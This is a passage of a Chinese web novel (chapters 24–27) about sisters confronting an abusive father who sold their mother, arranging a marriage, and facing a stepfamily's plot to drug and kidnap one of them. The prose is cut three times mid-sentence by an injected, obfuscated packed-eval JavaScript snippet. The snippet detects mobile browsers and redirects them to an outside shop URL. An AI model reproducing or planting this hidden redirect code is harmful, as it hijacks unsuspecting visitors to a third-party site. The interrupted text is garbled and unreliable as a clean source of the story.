她简直不敢相信,一旦姐姐们知道这件事,会有多着急,有多伤心。 不管了,先去回去找三姐,看看汇款单到底到了没有。 倒是赶巧,崔六刚到闵家门口,便看到闵蓝芙跟闵紫蓉一左一右拽着闵金菊的胳膊,不让她走。 闵金菊的右手里,死死的攥着一张汇款单,这会儿闵铁牛正站在闵金菊身后,拼尽全力,想要掰开闵金菊的手指。 崔六见状,冲上去怒喝一声:“闵铁牛!放开我三姐,不然别怪我去公社举报你买卖妇女!我手里已经掌握了确实的证据,不信走着瞧。” 闵铁牛当然不信,他虽然卖了发妻丰霈,可是他跟丰霈的几个女儿都不知情,翠柳就更不可能知道这件事。 除非翠柳发现了卖身契,可惜卖身契他自己都找不到了。 他扭头抓起八仙桌上的茶碗,哐当一下磕碎了,转身握住闵金菊的手,往碎瓷片上面砸,直砸得闵金菊的右手血肉模糊。 可惜闵金菊是个倔驴脾气,居然咬死了嘴唇,没有嚷嚷。 不过这么一来,剧痛还是让闵金菊松开了手,汇款单就这么被闵铁牛夺走了。 闵金菊扭头喊道:“翠柳,汇款的人叫颖颖,地址是省城——” 话音未落,崔六已经逼近闵铁牛身前,一个肘击,对准了他的下巴。 只听哎呦一声尖叫,闵铁牛便因剧痛昏死过去。 等他的身体向后倾倒时,崔六便趁机把三姐拽到了自己身后,还一把夺回了汇款单。 闵蓝芙顾不得其他,赶紧去扶着她们的老子,尖叫道:“蓉蓉,快去找咱妈,就说翠柳杀人了!把她抓去枪毙!” 闵紫蓉恶狠狠地剜了崔六一眼,恨不得杀了崔六。 崔六不动声色,在她擦身而过的时候,腿一勾,把人绊倒。 闵紫蓉狼狈地摔倒在地上,崔六抬腿踩住她的手,冷笑道:“杀人?没有吧,咱爸身上一点外伤都没有,倒是三姐的手,被咱爸弄成这样,你要去报警,我还真是求之不得呢,去吧,我等着。” 说罢,她便带着闵金菊,回了她们租房住的村子,汇款单也被她跟卖身契一起,藏在了系统空间里。 至于要不要报案,什么时候报案,她需要跟姐姐们商量一下再决定。 24. 决定 崔六回到租住的房子那边,赶紧给三姐处理伤口。 还好,没伤到手筋,修养一段时间就好。 崔六安慰道:“三姐,别担心,我照顾你,明天开始我会去小礼堂旁边清理构树,到时候给你绑个吊床,你就在旁边看着,乘乘凉,吹吹风,好好享受一下暑假。” “我不,我要去帮你。”闵金菊不忍心,那么大一块地,那么多的构树,让老四一个人弄,那得多累啊。 崔六笑着帮她把刘海别到耳后:“没事的,天热,要是伤口化脓了,反倒是拖累我,你不如早点把伤养好,到时候事半功倍。” “好吧好吧,那我帮你扇风总行了吧?”闵金菊说不过她。 崔六还是不肯:“不要,你就帮我盯着点脚下,要是有毒蛇过来,提醒我一声就行。” 闵金菊点点头:“好吧,说不定还能掏出几只黄鼠狼。” “三姐,你可别乌鸦嘴,我最讨厌黄鼠狼了,臭。”崔六出去打了盆水进来,把三姐手腕上的血迹也擦擦干净。 闵金菊也不喜欢黄鼠狼,不过那边挨着运河,想来黄鼠狼不会太多,真正要担心的,也许是水猴子。 其实她长这么大,一次都没见过那玩意儿,连它长什么样都不知道。 只是从小到大,每次有孩子掉水里,长辈们就说是水猴子干的。 于是她提醒道:“总之,你要是忙累了,想去水边洗把手什么的,一定要等我。” 崔六笑了:“你说水猴子吗?你见过?” 闵金菊摇头,破四旧之前,除了水猴子,水里最可怕的还有一种东西,那就是水鬼。 不过现在都不让提了,水猴子的传说倒是依旧盛行。 崔六把水端出去倒了:“你都没见过怕什么,我不太相信这个。好了,我去做饭,你歇会儿吧,等会帮忙拿一下碗筷就行。” 这样两个上班的姐姐回来可以吃口现成的。 没想到,一直等到饭菜盛好了,桌椅也都摆好了,两人还是没有回来。 不至于吧,这里虽然离码头远了点,可是顶多耽误个十来分钟,不至于晚了半个多小时啊。 崔六又等了五分钟,还是不见姐姐回来,赶紧推着借来的车子:“三姐,你在家里看着点苍蝇,我去找大姐二姐。” “你小心点。”闵金菊很担心,追到院子里。 崔六已经长腿一扫上了车:“没事的三姐,她们肯定被老六老七拦住了。我去去就回。” 到了闵家,果然,两个小的正死死地抱着闵红梅的胳膊,指着躺在地上装死的闵铁牛,闹着要说法。 这要是搁以前,愚孝的闵红梅高低都要哭两声,可是经历了这些事之后,她首先提出了质疑:“老四虽然脾气变臭了,可她还不至于暴躁到杀害自己的爸爸。” 闵蓝芙哭得跟真的似的:“大姐,你还向着四姐?咱爸肯定是被伤到了脑子,这都一个多小时了,怎么掐人中都不醒!” 闵橙萱没了耐心,直接把闵红梅拽到身后:“既然这样,那就报警。” 说罢扭头便走,吓得闵铁牛赶紧睁开眼爬了起来:“老二,不许去!” 闵橙萱冷笑一声回头:“呦,不装了?大姐你看看,我就说了,他是惯犯了,根本不值得信任!” 闵铁牛早就醒了,只是想把大女儿骗过来骗点钱,可没想让她们姐妹俩去报警。 一旦报警,就算老四是在虚张声势,拿不出卖身契,那传出去也不好听啊。 不但会影响他今后在公社的评优,还会影响口碑,以后队里选积极分子都没他什么事了。 损失可大着呢。 只得没好气地坐下:“你们回去吧,叫翠柳过来见我。” 闵红梅想说好,却叫闵橙萱抢了先:“叫不动,自己去。” 闵红梅一头雾水,闵橙萱也懒得解释,直接拉着她离开了闵家。 两人骑着车,往毓秀村赶去。 刚到半路,遇到了过来找她们的崔六。 崔六一个急刹,单脚点地,停在了两个姐姐旁边,左看看右看看,身上没有任何伤口,这才松了口气。 她把车子调个头,问道:“是不是闵铁牛装死唬住了大姐?” “没有,大姐不信她,是两个小的死命拽着她。”闵橙萱赶紧帮大姐澄清,“走吧,回去说,外面热死了。” 而且天边飘来了乌云,头顶轰隆隆的,眼瞅着要下雨了。 夏日的天气,就是这么阴晴不定。 姐儿三个刚赶到住处,便下起了瓢泼大雨。 闵金菊赶紧找出雨伞出来接应,却听崔六嚷了一声不许动,只得站在门槛那里生闷气。 崔六进门后,搂着她亲了口额头:“好啦,你手上有伤,生什么气啊,饿了,吃饭。” 闵金菊捶了她一拳头:“一点皮肉伤而已,至于吗?” “至于!你可是我的亲姐啊,姐啊,伤在你手,痛在我心啊!”崔六痛心疾首,嘤嘤嘤。 气得闵金菊噗嗤一声笑了:“你看你这欠收拾的样儿!跟谁学的,贫得很!” “呦,可能是今天见了许向北,被他传染了,哎呦,真可怕。”崔六拉着她坐下,给她夹菜,“好啦,快吃吧,你今天可是咱们家的大功臣,多吃点好的。” 闵金菊受不了了,捏了捏她的脸颊:“不许这样了,没个正经的。” 崔六直接用一块五花肉堵了她的嘴:“吃。” 两个大的见了,面面相觑,这才几天,老三老四都好成这样了? 又是亲额头,又是搂搂抱抱的,真肉麻。 闵橙萱不说话,低头吃饭,却还是学着老四,给大姐夹了块肉。 闵红梅也给她夹,她再夹回去,夹来夹去的,叫崔六没忍住吐槽了一句:“干嘛呢?都不给我夹一块,偏心哦!” 两个大的没忍住,也笑了:“给你给你,都给你。” 吃完饭,闵红梅收走碗筷,去水井那边清洗,闵橙萱擦拭桌子,忙完去厨房把锅刷了。 崔六出去把垃圾倒了。 一切收拾妥当,崔六把院门关起来插上,回到堂屋,姐妹四个围坐在八仙桌旁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17508298|202754||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,说正事。 崔六把卖身契和汇款单全部拿了出来,摆在八仙桌上,一脸严肃:“毫无疑问,这个住在省城的颖颖就是许春燕他们的靠山,不过这个地址不像真的。” 闵红梅接过汇款单看了眼,不明白为什么会这么说,只好把汇款单递给了闵橙萱。 闵橙萱秒懂:“省里唯一的矿场在北边,不可能在省城,地址写的却是省城的煤矿大院,一看就是障眼法,估计是别的什么机关的大院。” “这进一步说明,他们的靠山,跟他们的关系是见不得人的。”崔六做了总结,“不管怎么说,起码是个线索,汇款单上省城的邮戳是不会错的,至于街道,其实没有参考价值,这个颖颖可以跑到其他街道去汇款。但也存在一定的可能,她就住在这个街道附近。” “嗯,先记下来,以防万一。”闵金菊点点头,“说说卖身契的事吧。” “咱妈确实被卖了,但她是不是还活着不好说。我昨天跟踪闵铁牛去了国营菜场,今天我在那里,见到了一个特别像咱妈的女人。她的身世非常凄惨,一点人身自由都没有。”崔六赶紧把她在肖家的见闻说了说,末了提醒道,“这个肖锡山是县城肖主任的叔伯兄弟。这下所有的线索都串上了。” “天哪,小姨不会也是被咱爸卖掉的吧?”闵橙萱一下抓住了重点。 闵金菊也认可这个猜测,问道:“他去找小姨做什么?想用小姨的照片冒充咱妈的照片,逼迫咱们嫁人?” “肯定是的。”崔六看着三个姐姐,“闵铁牛很快就会知道我从许向北那里骗走了箱子,虽然他把箱子里的其他东西转移走了,可是我提到我有证据,他肯定会怀疑我找到了卖身契,对我下黑手。” “报警啊!”闵红梅很生气,没有考虑太多。 三个妹妹齐刷刷看向天真的大姐。 崔六摇了摇头:“没用的,有肖家罩着,何况肖锡山本身就是买家。” “对,真把他们逼急了,说不定会对我们下毒手。”闵橙萱沉思片刻,看向了闵金菊,“老三你养伤,白天就在家里看着点水井。” “你怕他们在水里下毒?”闵金菊吓了一跳。 闵橙萱点点头:“老鼠药和农药都不难搞,丢进水井里面,谁也不会看出来。” 崔六沉思良久,终于开口:“我经过慎重考虑,决定尽快跟楚泽林结婚。楚泽林到底是个副营长,作为他的配偶,有人想灭我的口,可得好好掂量掂量了。” 三个姐姐交换了一下意见,全票通过。 崔六默默叹了口气:“这几天大家集思广益,等我结了婚,看看怎么把小姨解救出来。那不是她的家,那一大家子,全是她的奴隶主。至于咱妈的下落……可以利用王娟的事情,逼迫闵铁牛开口。这个需要等待时机,最好是当场捉奸。” “这事交给我了。”闵金菊主动请缨。 崔六不同意:“你有伤,不行,我来。” 这次轮到闵橙萱不同意了:“不行,你结了婚之后,要考虑对楚泽林的影响,不能再随便跟闵铁牛喊打喊杀,我来。” 25. 结婚1 军人结婚需要打申请,楚泽林依旧昏迷着,只能由他的父母代劳。 至于崔六这边,姐妹四个已经分了户,自然不需要再找闵铁牛拿户口本,便去大队支部开了个证明。 所有材料准备妥当,寄去了部队,等消息。 一来一回,路上就要一个多礼拜,加上审批需要的时间,起码要等半个月才能领证结婚了。 而半个月,足以改变很多事情。 王露忧心忡忡地跑去粮站找她男人商量。 刚下过雨,地上全是水,粮站并不是很热闹。 五六月份交公粮的高峰期已经过去了,七月份酷暑,来粮站的大多都是缺粮的。 缺粮无非是三个原因:家里人多但劳力少,有劳力但实在懒惰,天灾或者人祸造成的减产。 春江公社滨江多河,天灾少顾,再懒的懒汉,去鱼塘喂喂鱼,捞捞水草,上上夜,也能混点工分。 所以大多数都是第一个原因。 这不,老的抱着小的,正在跟老楚求情呢。 家里有两个怀孕的儿媳妇,一大一小两张嘴的口粮,都是按照一个人算的,不够吃啊。 只能奢求站长老楚网开一面,别卡购买凭证,要不然两个孕妇饿死了怎么办? 其实不到万不得已,真没人愿意买返销粮。 返销粮大多是粗粮,比如高粱、玉米、红薯干或者豆干之类的副食品,口感不好,难以下咽,只有在每人每年不够360斤原粮的情况下,才能拿到购买凭证。 这规矩是上头定的,老楚也没办法,只能问道:“老人家,你愿不愿意申请借销粮?愿意的话,我这就给你打申请开证明。” 老太太急得直抹泪:“借销粮?哎呦,楚站长哎,你就饶了我吧,你现在让我借粮吃,到时候我不得还吗?还了之后又要交公粮,自己能剩下几斤啊?我老太婆没别的本事,也就去年大年,陪嫁的几棵树打了一千多斤的白果,卖了点钱在手里。我有钱的楚站长,我就是没有购买凭证,我双倍价格找你买粮总行了吧?” 老楚真不能破例,要不然那些有嫁妆树的老阿姨老嫂子都来找他网开一面,他上哪儿变魔法去,说到底,这粮站也不是他自家开的,他只是给国家办事的一介小吏。 只得铁面无私:“这样吧大娘,我家泽林有点粮,我卖给你,你可千万不要出去跟人说,回头我没法做人了不是?” “真的吗楚站长?哎哟,太谢谢你了,站长可真是好人啊,你放心吧,你家泽林好人有好报,福气在后头呢。”老太太高兴哭了,抱着怀里吃手指的奶娃娃转身就想磕头。 叫王露一把搀了起来:“哎呦大娘,这是做什么?你叫我家老楚怎么受得起呢?你先去门口坐坐,我跟老楚说点事,等会就带你回去拿粮。” 老太太激动得很,拽着王露的衣角,泣不成声。 王露好人做到底,干脆扶着老太太去门口,又找了个板凳让老人家坐下,这才回到后面的院子里,跟老楚说事儿。 抬手掸掉老楚肩膀上的白果树叶子,王露叹了口气:“老楚啊,听说了吗?昨天闵铁牛又跟翠柳姐妹几个闹了一架,这么下去可怎么是好?要不我们先让两个孩子把婚礼办了吧?” 老楚叼了根没点燃的烟,转身抓了张长条板凳出来,坐下后拍了拍身侧的空位。 “你就不怕部队那边不给批?” “怎么会呢?泽林现在是最需要人照顾的时候,我又是个当妈的,不方便。淙林也这么大了,再耽误下去,就算以后泽林醒了,搞不好也会兄弟反目。部队也是有人情味的,知道我们家的客观困难,不会为难我们的。” “那你看准了,就闵家老四了?不考虑考虑别人家的闺女了?” “不考虑了,其实我早就相中翠柳了,就是吧,以前那丫头跟个面团一样,太好欺负了,跟泽林肯定合不来。现如今不一样了,这丫头能文能武,能呛人能打人,我看着特别高兴。就得是这样的,才合泽林的脾气嘛。长得又俊,又画得一手好画,不是我吹,别说是咱们春江公社找不到第二个,你就是放眼全县,也找不到第二个了。” 老楚乐了:“嘿呦,不知道的还以为你真的在夸人家姑娘呢,只有我知道,你在夸你儿子,臭美吧你就。” “废话,那不是你儿子?”王露没好气地捶了他一拳头,顺手把他嘴上的烟给夺了。 这老东西,自打两人结婚开始就说要戒烟,嘻嘻哈哈拖到她怀孕,又信誓旦旦要戒烟,到头来,都当姥爷了,还没戒掉! 这都几十年了,她就不该信他当初的鬼话。 好在他还有点数,在家不抽,在她面前也不抽。 但她看着还是来气:“哎,我可跟你说啊,有朝一日要是泽林醒了,他跟翠柳有了孩子,你这破烟必须给我戒了。” 老楚无语了:“哎呀,你这不是偏心眼子吗?闺女怀孕了怎么没叫我戒?” 王露一巴掌糊在他肩膀上:“你废话!闺女嫁人了又不住家里,我没逼着亲家公戒吗?人家都能为了儿媳妇戒,你却不能为了你的亲闺女戒。老楚啊老楚,分明是你自己,没把闺女当回事!” 老楚冤枉:“别胡说,闺女的彩礼钱我可一分没要,全让她俩自己留着了!你去全公社打听打听,还找得出第二个这样开明的老爹爹不?” “你废话,咱又不是卖闺女,要了做什么?”王露嘴上嫌弃,心里还是认可的。 老两口在这方面的观念总能保持一致,所以别看老楚戒了一辈子烟没戒掉,但是王露就是乐意跟他过。 当然了,念叨还是要念叨的,老夫老妻都这样,你挑我的刺,我找你的茬,锅盖一掀,总能吃到一个碗里,被子一盖,总能躺进一个窝里。 这就够了。 老楚也觉得他这婆娘不错,虽然泼辣,但贤惠顾家。 总归是风风雨雨一起从岁月的长河里蹚过来的,她的眼光,他放心。 便应道:“行吧,你做主,需要我做什么开口就是了,别总指望我自己想,我一个大老粗,我哪想到那么多。你长了嘴巴你不说,那不成摆设了吗?” “你自己没长?嗯?”王露气笑了,抬手去捏他的嘴巴。 老楚假装躲了躲,最终还是认命的让她捏成了鸭子嘴,呜呜哇哇的说道:“你不是说了吗,我嘴臭,我闭嘴。” “是,你嘴臭,一股烟臭味,亲个嘴能熏死我!”王露没好气地把他兜里的烟也给 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17514397|202754||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 掏出来,随手那么一扔,逞逞管家婆的威风。 老楚投降:“大王饶命!” “滚!”王露笑着出去了,招呼了一声徐大娘,上家里拿粮食去。 过了称,一共二十八斤面粉,三十七斤大米,这都是楚泽林富余的口粮,缸里还有。 他吃流食,一般都会砸个鸡蛋黄在汤汤水水里面,没有吃饭吃面条消耗的粮食多。 按照春江公社的价格,大米一斤一毛六,精制面粉一斤两毛二,一共十二块零八分。 徐大娘数了二十五块钱给王露,王露反手找了十三块,还把那八分钱抹零了。 她笑着说道:“大娘,你就别为难我了,双倍价格,那不是让我犯错吗?我就按照市价卖给你,就当是帮我家泽林积福了。” 徐大娘感动得痛哭流涕,把孩子绑在身上,粮食放在独轮车上面,一路推回了家。 到家赶紧去自留地里摘了些黄瓜、缸豆、茄子,给王露送了过来。 王露一样拿了一点,剩下的还是让徐大娘带回去了,又抓了两把花生,塞了两个香瓜,有来有往,不占人家的便宜。 徐大娘推脱不过,只好眼含热泪地回去了。 王露默默叹了口气,家里有两个孕妇呢,真是不容易,大家都是女人,能帮则帮。 回屋检查了一下楚泽林的情况,小儿子淙林又不知道跑哪儿去了,这叫她如何安心做事呢? 赶紧去水井旁边的葡萄架子上摘了两串葡萄,把门锁上,去碧云村找她的准儿媳。 崔六正在收拾宅基地上的构树,三姐留在住处看家,大姐照常上班,二姐请了一天假过来帮忙。 听到身后的自行车铃铛声,崔六停下手里的锯子,抱着旁边没锯的大树膀子,下意识回头:“呦,王阿姨怎么来了?” “翠柳啊,我跟你商量事儿,呦,萱萱也在啊。”王露把车停下,锁了后轮,过来帮忙。 闵橙萱回头喊了声阿姨好,抄起镰刀赶紧把一路的杂草给割了:“王阿姨走这边。” 原本开的那条路,现在堆满了树膀子,等下拖走的时候方便点。 王露提着一篮子葡萄,小心翼翼地绕过来,扫了一圈眼前的树,不禁感叹:“这些都是你们姐妹俩锯的?” “翠柳一个人锯的,我在下面铲草平地。”闵橙萱并不想冒领功劳,她把身后草丛里的小马扎找出来,递给了王露。 王露接过来坐下,抬头看向树上的准儿媳,喜欢得不行,也心疼得够呛,赶紧喊道:“翠柳啊,我带了葡萄,下来歇会儿,说说话。” “好嘞,来咯!”崔六把锯子留在那锯了一半的构树膀子上,就这么跳了下来。 王露不敢看,睁开眼时,眉眼娇俏的小同志,已经蹲在她面前在吃葡萄了。 阳光透过树荫零零碎碎的洒在她脸上,汗湿的面庞,饱满红润,有着别样的生命力。 给泽林翻身肯定不费劲! 准婆婆的心里一阵欢喜,一阵惆怅。 我的儿啊,为娘给你找了这么俊俏能干的老婆,你啥时候才能醒哦。 算了,先把人娶进门再说! 王露赶紧递了一把葡萄给旁边的闵橙萱,说正事。 26. 结婚2 王露的担心很有道理,崔六自己也怕夜长梦多。 毕竟许春燕能搭上县里的关系,必定有恃无恐,真到了狗急跳墙的时候,什么事都做得出来。 闵橙萱也同意尽快把婚礼办了,只是她还担心另外一个问题:“王阿姨,明人不说暗话,我知道你看上我家翠柳什么了,要不然你也不会这么主动。但我还是要提一个要求。” “你说。”王露是个明白人,知道准儿媳的三个姐姐里面最好糊弄的是老大,最不好糊弄的是平日里不声不响的老二。 至于老三,虽然心思细腻,考虑事情面面俱到,然而老三是个村小老师,职业原因,老三不太能够跟外人拉得下脸来。 谈婚论嫁的时候,老二在场是最管用的。 她愿意洗耳恭听。 闵橙萱也不绕弯子,直接问道:“如果你家泽林一直醒不来,我妹妹总不能一辈子都做个高级护工吧?” 王露笑了,果然是在操心翠柳的工作问题吗? 翠柳这个二姐,还是挺懂得为姐妹打算的。 王露坦言道:“当然不会,我已经想过了,等到你楚叔叔退休了,他就可以帮忙照看泽林了。到时候翠柳这个青壮年不出去上班不是可惜了?正好可以接你楚叔叔的班。至于泽林,醒不来也没关系,可以让翠柳过继一个亲戚家的孩子养着,这么一来,翠柳老了也不至于没有子嗣照顾。当然了,你们姐妹要是愿意,等你们结了婚有了孩子,可以过继一个给翠柳,亲姐姐家的孩子,总比别人家的贴心一点,你说呢?” 闵橙萱对于这个安排还算满意,但她还是提出了更进一步的要求:“空口无凭,王阿姨,你不要怪我多心,我这个妹妹你知道的,一向逆来顺受,要不是被逼急了,她是不会做出撞磨盘这种傻事的。我必须为她争取一个切实可靠的保障。” 王露理解她的心情,认真道:“行,你要我怎么做,写个承诺书给你?” 闵橙萱摇了摇头:“承诺书也未必有法律效果。这样吧,楚叔叔应该快退休了吧,你让他提前跟公社打个申请,就说他退休之后,让翠柳接班。一来,翠柳作为军属,本来就应该享有工作上的优待;二来,翠柳作为伤残军人的配偶,需要承担比普通军嫂更大的养家责任和压力,给她一份体面的工作无可厚非。” 王露笑了,这老二,确实是走一步想十步的性子,适合当军师。 她没意见:“好,回去我就跟你楚叔叔说,一定不会亏待翠柳。” 闵橙萱这下彻底没意见了:“嗯,我们这边的长辈不参与,翠柳的娘家就是我们三个姐姐,日子定好了麻烦王阿姨说一声,我们要给翠柳准备嫁妆。” “好,那我到时候直接找你吧。”王露是个聪明人,就算她找老大或者老三,最后拿主意的多半还是老二。 既然这样,何必麻烦呢。 闵橙萱却摇头:“今天是巧合,正好我在,以后你还是找我们大姐吧,她虽然容易被我们的爸爸骗,但她疼爱翠柳的心一点都不比我和金菊少。有事找她就行,她会跟我们说的。” 王露不得不在心里竖起大拇指,这个老二,做事真的滴水不漏。 难怪这孩子平日里总不爱讲话,那精力都用来观察别人,判断是非了。 跟翠柳以前的沉默不太一样,翠柳是纯粹的封闭自我,不想跟外人交流。 这几个姐妹,还真是各有各的特色,挺好的。 王露忽然好奇:“萱萱,等到翠柳嫁人了,你们姐妹三个也该考虑婚事了吧?” “不着急,等大姐跟三妹都嫁了我再嫁。”闵橙萱笑着吃了个葡萄,“尤其是大姐,她不嫁人我是不会考虑我自己的。” 王露明白了,默默掸了掸闵橙萱肩上的树叶子:“好,总之,你们如果想成家了跟我说,我有个娘家侄子,人不错,有机会的话,可以介绍你们认识。” “你是说王轲?” “你认识?” “见过,他不是在你娘家公社当公安特派员吗?” “是他,听说过阵子要调过来了,咱们春江公社人多,事多,小朱一个人忙不过来,公社已经向上头反应过了,加上前几天江边挖出来的尸体,这事估计能成。” “那挺好的,我记得他好像比我大姐小一岁?” “对,今年二十六,比你和金菊大一岁。” “行,回头他来了阿姨你说一声,我瞧着他跟我大姐挺合适的。” 王露笑了:“话别说太早,万一他看上的是你呢?” “我不说了吗?我不着急结婚,他要是真看上我了,那就惨了,不知道要等到猴年马月。”闵橙萱起身,继续干活儿去了。 王露却含着笑,怎么看都觉得这个闺女不错,跟她侄子绝配。 * 许春燕气得吃不下饭。 她一直催闵铁牛去找老三要汇款单,闵铁牛却跑去了许家,找那个箱子去了。 许向北这个二百五,一五一十,全招了,气得闵铁牛一个耳刮子就扇了上去。 他问道:“翠柳拿到箱子的时候,有没有说什么?” “说……说了啊。”许向北捂着脸,弯腰驼背,活像个瘪三。 闵铁牛急了,问道:“她发现卖身契了?” “没有啊,她只是警告我,让我别再骚扰小秦嫂子。”许向北根本不知道什么卖身契,只觉得他这个姑父像个神经病,一跑过来就打人,真不像话。 闵铁牛以为这个傻帽在转移话题,抬手又想打人,许开山看不下去了,一把扣住他的手腕:“铁牛,你别得寸进尺,我家愿意帮你保管那些东西,已经是看在春燕的面子上,现在事情闹成这样,还不是你自己造成的?你拿向北撒什么火?你再动他一下,别怪我跟你翻脸!” 闵铁牛只得把手放下,他也不敢在大舅哥面前太嚣张了,人家手里握着他的罪证呢。 不过没关系,许家也不干净。 转身坐在长条板凳上,闵铁牛点了根烟:“现在怎么办?万一那死丫头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17516781|202754||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 真的找到了卖身契,去公社告我一状,那不是全完了?” “弄死她算了!”许开山做事比闵铁牛还绝,骂道,“早就提醒过你,这个孩子养在跟前是个隐患,你偏不听,贪心不足,就容易坏事!” “我那不是想着,养大了可以换笔彩礼钱给青松娶媳妇嘛。再说了,这么些年,她们四姐妹赚的工资,你也没少花。”闵铁牛不爱听这话,马后炮谁不会啊。 其实这么多年来,翠柳都是个逆来顺受的窝囊废,所以他才敢一直养着这孩子。 谁承想,被许春燕逼急了,一脑袋一撞,转性了。 一想到这事,闵铁牛就觉得玄乎,猛吸几口烟后,小声道:“你不是认识算命的瞎子吗?帮我问问,翠柳是不是换人了?” 许开山冷笑一声:“还用你说?早算过了,没换。” “没换?”闵铁牛简直不敢相信,“不可能啊,以那天的事情为分水岭,之前的翠柳和之后的翠柳,简直就是两个人。” “总之瞎子说了,没换。”许开山也不清楚,反正他信瞎子的。 闵铁牛没主意了:“要不听你的,还是弄死她算了。” 许开山不想掺和这事,只想把自己摘出去,毕竟那翠柳现在被王露看上了。 王露那个母老虎,他惹不起。 便提醒道:“现在弄死翠柳,你那六百块彩礼可就飞了。” 闵铁牛急得嘴角燎泡:“那怎么办?我总得让她闭嘴吧?” 许开山嫌弃地看了他一眼:“简单啊,你绑她一个姐姐回来,一手交卖身契,一手交人。” 闵铁牛沉思片刻:“那就绑老三,我那五百块的汇款单就是被她抢走的。” 许开山起身走开:“那行,你自己想办法吧,我最近忙死了,七月底了,玉米快熟了,最近总下雨,得挑个好天气,赶紧把玉米抢收回来,还要手工脱粒,赶紧晒干了好收起来。” 闵铁牛瞧着时候也不早了,起身叮嘱道:“大哥,我那些信件和照片,一定收好了,别让向北再碰到了。” 许开山不耐烦地挥了挥手,赶紧走吧瘟神。 闵铁牛回到家里,跟许春燕商量了一下,该怎么做才能把老三绑回来。 许春燕看着两个在家过暑假无所事事的女儿:“今天开始,你们姐妹俩去她们租的房子那边盯梢,看到你们三姐落单的话,直接把人绑回来。能做到吧?” 两个小的摇了摇头,这有点难度。 许春燕想了想:“这样,我去多开点安乃近,磨成粉,你们找机会洒到她们厨房的水缸里面,等她们昏昏欲睡的时候再动手。记得,要挑中午大家都在午睡的时候,夜里就算了,我还担心你们两个在路上遇到坏人呢。” “妈,你呢?”闵蓝芙有点不高兴,这么难搞的事情,就让她跟蓉蓉去吗? 许春燕头疼:“我还要想办法捞你们哥哥出来,这都一个多礼拜了还不放人,太过分了!好了,就这样,赶紧吃饭,吃完了明天开始盯梢。” 27. 结婚3 王露的动作很快,第二天就看好了日子,三天后办酒。 下午她特地去了隔壁花月公社,把两个出嫁的闺女和两个女婿都叫了回来。 一大家子齐聚一堂,王露正式宣布了老三泽林的婚事。 大女儿楚稻苗,今年31岁,是个公交车售票员,丈夫常凯33岁,是县运输队的驾驶员,家里条件很不错,目前生了三个女儿,正在备孕第四胎。 她听到弟弟要结婚的消息,很是大方,表示愿意帮忙出一部分彩礼,常凯没有反对,只是淡淡地看了她一眼。 只这一眼,便让王露察觉到了他的不满,赶紧拒绝道:“不用不用,泽林自己有抚恤金,彩礼钱不用担心。你跟常凯孩子多,又准备要第四胎了,自己钱包捂紧点儿,啊。” 楚稻苗笑了笑:“我只是担心女方嫌弃泽林是个植物人,万一她狮子大开口,我总要帮衬一点。” 王露再次拒绝:“不用,我给泽林相中的是碧云村的闵家老四,叫翠柳的那个。年初她来公社画图样你不是见过吗?” 楚稻苗恍然:“是她呀,面疙瘩一个,能行吗?” “行啊,怎么不行,你是没见着她有多能干,爬树砍树,利索着呢。”王露恨不得把这个准儿媳夸成一枝花。 可是在楚稻苗的印象中,那个翠柳是个受气包,她还是不太看好这门婚事。 不过既然她妈妈喜欢,那她也不好唱反调,便附和道:“行,妈你眼光好,我信你的。” 二女儿楚麦苗,今年29岁,是花月公社的广播员,丈夫赵成28岁,是个退役军人,回乡后经过公社推荐选拔,做了民兵连的连长。不过他前阵子为了帮助公安特派员抓劫匪受了伤,目前还没有痊愈。 两人目前育有两个儿子,暂时没考虑要第三胎。 听到弟弟的婚讯,楚麦苗并没有提彩礼的事,只是担心:“我听说她那个后妈很难对付,妈,你可得想清楚了,跟那种人做亲家,以后可有得你烦了。” 王露面带微笑:“不会,她们姐妹四个已经分户了,以后跟她们后妈没有牵扯,放心吧。” “分户算什么?就算她后妈死了,还有后妈生的三个野种呢。全死了才叫真的没有牵扯。”楚麦苗一向说话辛辣。 赵成听着不大合适,赶紧在桌子底下踹了她两脚。 楚麦苗却不以为然:“踹我干什么?我说错了吗?我记得他们家红梅没比我小多少吧?我这两个儿子都上小学了,红梅还没有嫁人呢。再拖下去,干脆一辈子做老姑娘吧。” 王露知道这孩子一片好心,纯粹是看不惯许春燕的做派,只是这话从麦苗的嘴里出来,总像是在嘲讽闵红梅似的。 王露赶紧纠正:“怎么会呢,现在她们姐妹分了户,以后就再也不用看许春燕的脸色了,红梅做得一手好刺绣,性格也好,不愁嫁的。” 楚麦苗还是不看好,撇撇嘴道:“都27了,想找初婚的难哦。” 